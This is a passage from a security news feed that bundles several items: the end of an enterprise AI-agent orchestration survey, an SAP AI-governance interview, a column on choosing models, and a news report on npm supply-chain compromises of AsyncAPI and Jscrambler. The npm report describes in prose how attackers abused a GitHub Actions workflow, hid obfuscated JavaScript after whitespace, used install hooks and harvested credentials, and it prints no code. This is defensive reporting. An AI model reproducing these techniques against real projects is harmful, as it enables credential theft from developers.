run.</p><h2>Finding 6: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 7: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 8: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[NPM ecosystem hit with two new supply chain compromises]]></title>
<description><![CDATA[Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised developmen...]]></description>
<link>https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671823/it-security-nachrichten/npm-ecosystem-hit-with-two-new-supply-chain-compromises/</guid>
<pubDate>Wed, 15 Jul 2026 22:38:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Attacks targeting developer ecosystems are increasing in frequency and sophistication, with Node.js developers firmly in this week’s crosshairs, as multiple npm packages belonging to the open-source AsyncAPI and Jscrambler Code Integrity were poisoned with malware following compromised development credentials.</p>



<p class="wp-block-paragraph">The incidents highlight the cascading effect of software supply chain attacks in which stolen credentials are then used to perpetrate additional compromises. Security researchers advise organizations to completely rebuild from clean images any developer machines that have installed a poisoned package — and to rotate all npm tokens, source control access, cloud credentials, CI/CD secrets, SSH keys, signing keys, and browser sessions.</p>



<p class="wp-block-paragraph">Affected packages include: <a href="mailto:jscrambler@8.14.0">jscrambler@8.14.0</a>, <a href="mailto:jscrambler@8.16.0">jscrambler@8.16.0</a>, <a href="mailto:jscrambler@8.17.0">jscrambler@8.17.0</a>, <a href="mailto:jscrambler@8.18.0">jscrambler@8.18.0</a>, <a href="mailto:jscrambler@8.20.0">jscrambler@8.20.0</a>, @asyncapi/generator-helpers@1.1.1, @asyncapi/generator-components@0.7.1, @asyncapi/generator@3.3.1, @asyncapi/specs@6.11.2 and @asyncapi/specs@6.11.2-alpha.1.</p>



<p class="wp-block-paragraph">However, packages that list any of the above poisoned packages as dependencies may also be impacted, including those from the same projects, such as jscrambler-webpack-plugin 8.6.2, gulp-jscrambler 8.6.2, grunt-jscrambler 8.5.2, and jscrambler-metro-plugin 9.0.2.</p>



<h2 class="wp-block-heading">Vulnerable GitHub Actions workflow used as entry point</h2>



<p class="wp-block-paragraph">The attack against AsyncAPI, an open-source reference specification and toolset for implementing event-driven architectures and asynchronous APIs, occurred on Tuesday and was independently detected by multiple security companies monitoring the npm registry, including Upwind, Socket.dev, Wiz, StepSecurity, and Aikido Security.</p>



<p class="wp-block-paragraph">According to the researchers’ analysis, attackers took advantage of a <a href="https://www.csoonline.com/article/4008621/github-actions-attack-renders-even-security-aware-orgs-vulnerable.html">known configuration vulnerability in a GitHub Actions CI/CD workflow</a> that had been reported in April. The flaw involves the <code>pull_request_target</code> event, which executes whenever a new pull request is made. When triggered, the workflow automatically checks out and executes the developer’s submitted pull request code in the Actions container, but this is done in the context of the base repository with full access to secrets.</p>



<p class="wp-block-paragraph">The AsyncAPI project had <a href="https://github.com/asyncapi/generator/pull/2092">a proposed fix</a> since May 17, but the fix had not yet gone through the full review and was not merged into the main branch.</p>



<p class="wp-block-paragraph">“At 05:08 UTC, the attacker opened PR #2155 containing a markdown file with obfuscated JavaScript hidden after approximately 1,000 bytes of whitespace,” researchers from Wiz explained <a href="https://www.wiz.io/blog/m-red-team-asyncapi-supply-chain-compromise-via-github-actions">in their report</a>. “The payload was designed to scan the GitHub Actions runner’s environment for secrets and exfiltrate them to a dead-drop URL on the rentry.co pastebin.”</p>



<p class="wp-block-paragraph">When a GitHub Actions workflow is triggered and is executed in an environment, a temporary <code>GITHUB_TOKEN</code> is generated to allow for authenticated git commands against the repository. Other tokens might also be included.</p>



<p class="wp-block-paragraph">In this case, the attackers managed to obtain a token associated with asyncapi-bot, a service account that had access across the entire AsyncAPI organization on GitHub. This allowed them to perform malicious code commits in two separate repositories. Those commits then triggered automated build workflows that generated and published the npm packages.</p>



<p class="wp-block-paragraph">The payload bundled in the packages shares some similarities with a malware framework called Miasma that was used in previous supply chain compromises. However, the malware code appears to be significantly different from previously documented variants.</p>



<p class="wp-block-paragraph">The first-stage code downloads a secondary trojan payload that has variants for Linux, Windows, and macOS. This is a modular malware framework with credential theft capabilities that targets passwords and cookies saved inside browsers, SSH keys, npm and GitHub tokens, AWS credentials, macOS Keychain, and cryptocurrency wallets.</p>



<p class="wp-block-paragraph">The trojan communicated with a command-and-control server and can accept remote commands to perform file operations, list directories, and exfiltrate data.</p>



<h2 class="wp-block-heading">Jscrambler compromised via leaked npm credential</h2>



<p class="wp-block-paragraph">The Jscrambler attack happened over the weekend on July 11 with attackers publishing multiple trojanized versions in two waves. Jscrambler Code Integrity is a client-side security library designed to protect JavaScript-based web and mobile applications against tampering and reverse engineering.</p>



<p class="wp-block-paragraph">Jscrambler published <a href="https://jscrambler.com/blog/security-advisory-malicious-npm-package">an advisory</a> in response to the incident in which it clarified that the attackers published malicious versions of the package using a npm publishing credential. However, unlike the AsyncAPI case, how that credential was leaked in the first place is not clear.</p>



<p class="wp-block-paragraph">Initially the attackers released new package versions with two malicious scripts that get executed at install time using a preinstall hook in the configuration script. The scripts also execute platform-specific binaries for Linux, macOS, and Windows embedded in an obfuscated container.</p>



<p class="wp-block-paragraph">Because <code>preinstall</code> or <code>postinstall</code> hooks are common ways to deliver malware in npm packages, they are automatically checked by security tools. To avoid detection, the attackers pivoted to a method that involved injecting the malicious code directly in the <code>dist/index.js</code> and <code>dist/bin/jscrambler.js</code> files. This changed the malware execution from package installation time to when the package gets imported into other projects or the Jscrambler CLI is invoked.</p>



<p class="wp-block-paragraph">The embedded malware executables for different platforms are written in Rust and, according to <a href="https://socket.dev/blog/jscrambler-supply-chain-attack">Socket.dev’s analysis</a>, were “a broad, developer-focused credential and secret harvester” that targeted browser-extension crypto wallets, API keys from AI coding assistants and MCP servers, cloud credentials for AWS, Azure and GCP, authentication tokens for messaging applications (such as Discord, Slack, and Telegram), password stores from browsers, Steam, and KDE.<br><br><br></p>
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<title><![CDATA[Patchday: Windows Server-Updates (14. Juli 2026) - BornCity]]></title>
<description><![CDATA[IT-Themen, Sicherheit & Co. Borns IT- und Windows-Blog. Startseite ... information for security monitoring and analysis. [Distributed Key ...]]></description>
<link>https://tsecurity.de/de/3671751/it-security-nachrichten/patchday-windows-server-updates-14-juli-2026-borncity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671751/it-security-nachrichten/patchday-windows-server-updates-14-juli-2026-borncity/</guid>
<pubDate>Wed, 15 Jul 2026 21:53:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<b>IT</b>-Themen, <b>Sicherheit</b> &amp; Co. Borns <b>IT</b>- und Windows-Blog. Startseite ... information for <b>security</b> monitoring and analysis. [Distributed Key ...]]></content:encoded>
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<title><![CDATA[Monitor Amazon SageMaker Pipelines cross-account with custom Amazon CloudWatch dashboards]]></title>
<description><![CDATA[In this post, we present a solution designed to centralize the monitoring of SageMaker Pipelines across AWS accounts and Regions using Amazon CloudWatch custom dashboards. The accompanying GitHub repository provides a customizable AWS Cloud Development Kit (AWS CDK) example of the required infras...]]></description>
<link>https://tsecurity.de/de/3671600/ai-nachrichten/monitor-amazon-sagemaker-pipelines-cross-account-with-custom-amazon-cloudwatch-dashboards/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671600/ai-nachrichten/monitor-amazon-sagemaker-pipelines-cross-account-with-custom-amazon-cloudwatch-dashboards/</guid>
<pubDate>Wed, 15 Jul 2026 20:18:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we present a solution designed to centralize the monitoring of SageMaker Pipelines across AWS accounts and Regions using Amazon CloudWatch custom dashboards. The accompanying GitHub repository provides a customizable AWS Cloud Development Kit (AWS CDK) example of the required infrastructure.]]></content:encoded>
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<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</guid>
<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
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<title><![CDATA[Which AI model should you bet your company on? None of them]]></title>
<description><![CDATA[Every day this past week I did something I suspect millions of other people also did: I stared at an LLM model picker and wondered which one I was supposed to want.



OpenAI just released ⁠GPT-5.6 Sol, Terra, and Luna. Sol is the flagship. Terra offers much of its intelligence for less money. Lu...]]></description>
<link>https://tsecurity.de/de/3671165/ai-nachrichten/which-ai-model-should-you-bet-your-company-on-none-of-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671165/ai-nachrichten/which-ai-model-should-you-bet-your-company-on-none-of-them/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every day this past week I did something I suspect millions of other people also did: I stared at an <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLM </a>model picker and wondered which one I was supposed to want.</p>



<p class="wp-block-paragraph">OpenAI just released ⁠<a href="https://openai.com/index/gpt-5-6/">GPT-5.6 Sol, Terra, and Luna</a>. Sol is the flagship. Terra offers much of its intelligence for less money. Luna is cheaper still. Anthropic released ⁠<a href="https://www.anthropic.com/news/claude-sonnet-5">Claude Sonnet 5</a> at the end of June and Opus 4.8 the month prior, with a little Fable 5 emerging in between. Meanwhile, Google, which seemed to be winning the model wars a few months ago, is now getting shade from Gergely Orosz, who ⁠<a href="https://x.com/GergelyOrosz/status/2075160978493210685?s=20">argues that Gemini has slipped outside the top tier</a> for software development and has been out of the major model release game for <em>eons</em> (May 19).</p>



<p class="wp-block-paragraph">Perhaps Orosz is right. Perhaps he’ll be wrong again in six weeks. Honestly, it’s exhausting.</p>



<p class="wp-block-paragraph">I use ChatGPT and Claude constantly and still have no principled idea which model to choose most of the time. I tend to click whatever looks like the biggest, most expensive option because I don’t know what I’m giving up by choosing something smaller. “Instant” sounds dangerously unserious. “Thinking” sounds expensive but powerful.</p>



<p class="wp-block-paragraph">A quick <a href="https://www.linkedin.com/feed/update/urn:li:activity:7481369774401409024/">survey of my LinkedIn crowd</a> suggests others also feel my “WHICH MODEL???” pain. More importantly, I suspect most enterprises do, too.</p>



<h2 class="wp-block-heading"><a></a>A model doesn’t rot</h2>



<p class="wp-block-paragraph">Before getting carried away, however, it’s worth considering whether any of this model churn actually matters. After all, a model doesn’t rot. The model an enterprise put into production in March performs just as well in July as it did when the company selected it. “Obsolete” generally means that something better now exists, not that the deployed model suddenly stopped summarizing insurance claims or classifying support tickets. (In other words, once you have something working, the idea that “but maybe Opus 200.2 is better!” is really a FOMO problem, not a performance issue.)</p>



<p class="wp-block-paragraph">Most enterprise workloads don’t live at the frontier anyway. Extraction, summarization, classification, document comparison, and customer-service assistance often work perfectly well with smaller, cheaper models. OpenAI’s own pitch for the trio of GPT-5.6 models isn’t simply that Sol is better. It’s that ⁠Terra and Luna deliver different combinations of intelligence, latency, and cost. Luna, the cheapest tier, nearly matches the previous generation’s peak performance at less than half the estimated cost, according to OpenAI.</p>



<p class="wp-block-paragraph">The practical question, of course, is where to start. An enterprise can’t test every model, every reasoning setting, and every price tier before doing any work. So here’s my advice (which I don’t follow in my own work, but I’m not defining enterprise strategy and can be a little price-insensitive). Start with the cheapest credible model that appears capable of the task. Give it a representative set of real examples and, before you start testing, define what counts as good enough. If it passes, stop. If it fails, move up a tier or try a model with strengths better suited to the work.</p>



<p class="wp-block-paragraph">That sounds almost offensively simple, but it reverses the way many people, including me, use these products. We start with the biggest model because we’re afraid of what we might lose. Enterprises should start lower and require evidence before paying for more intelligence.</p>



<p class="wp-block-paragraph">There are exceptions, of course. For genuinely difficult work, such as autonomous coding, complex research, or high-stakes reasoning, beginning with a frontier model may save time. But even then, the goal should be to establish a quality ceiling, then test whether a cheaper model can meet it. It’s changing the question from “which model is best?” to “what is the least expensive model that reliably clears the bar for this job?”</p>



<p class="wp-block-paragraph">For many workloads, that price improvement matters more than a few extra benchmark points. <a href="https://www.infoworld.com/article/2335519/ai-hype-isnt-helping-anyone.html">⁠As I argued back in 2023</a>, following AI hype doesn’t help anyone. If your model strategy depends on whichever benchmark screenshot is circulating on X this week, you don’t have a strategy. Not a viable one, anyway. Pick a model and ignore the noise.</p>



<p class="wp-block-paragraph">Except, of course, when that noise suggests a serious signal.</p>



<h2 class="wp-block-heading"><a></a>Sometimes better really is better</h2>



<p class="wp-block-paragraph">Frontier improvements aren’t always incremental, making it advantageous to consider an upgrade. Coding is the obvious example. There’s a significant difference between a model that suggests the next few lines of code and one that can inspect a repository, plan a change, use tools, run tests, discover its own mistakes, and keep working for an extended period. That isn’t merely a nicer autocomplete experience. It can reorganize a development workflow.</p>



<p class="wp-block-paragraph">This is why enterprises can’t simply standardize on an 18-month-old model and declare victory. In some areas, particularly software development and other agentic work, better models can unlock compounding productivity. A model that reliably completes 80% of a bounded task rather than 50% may justify an entirely different division of labor between humans and machines.</p>



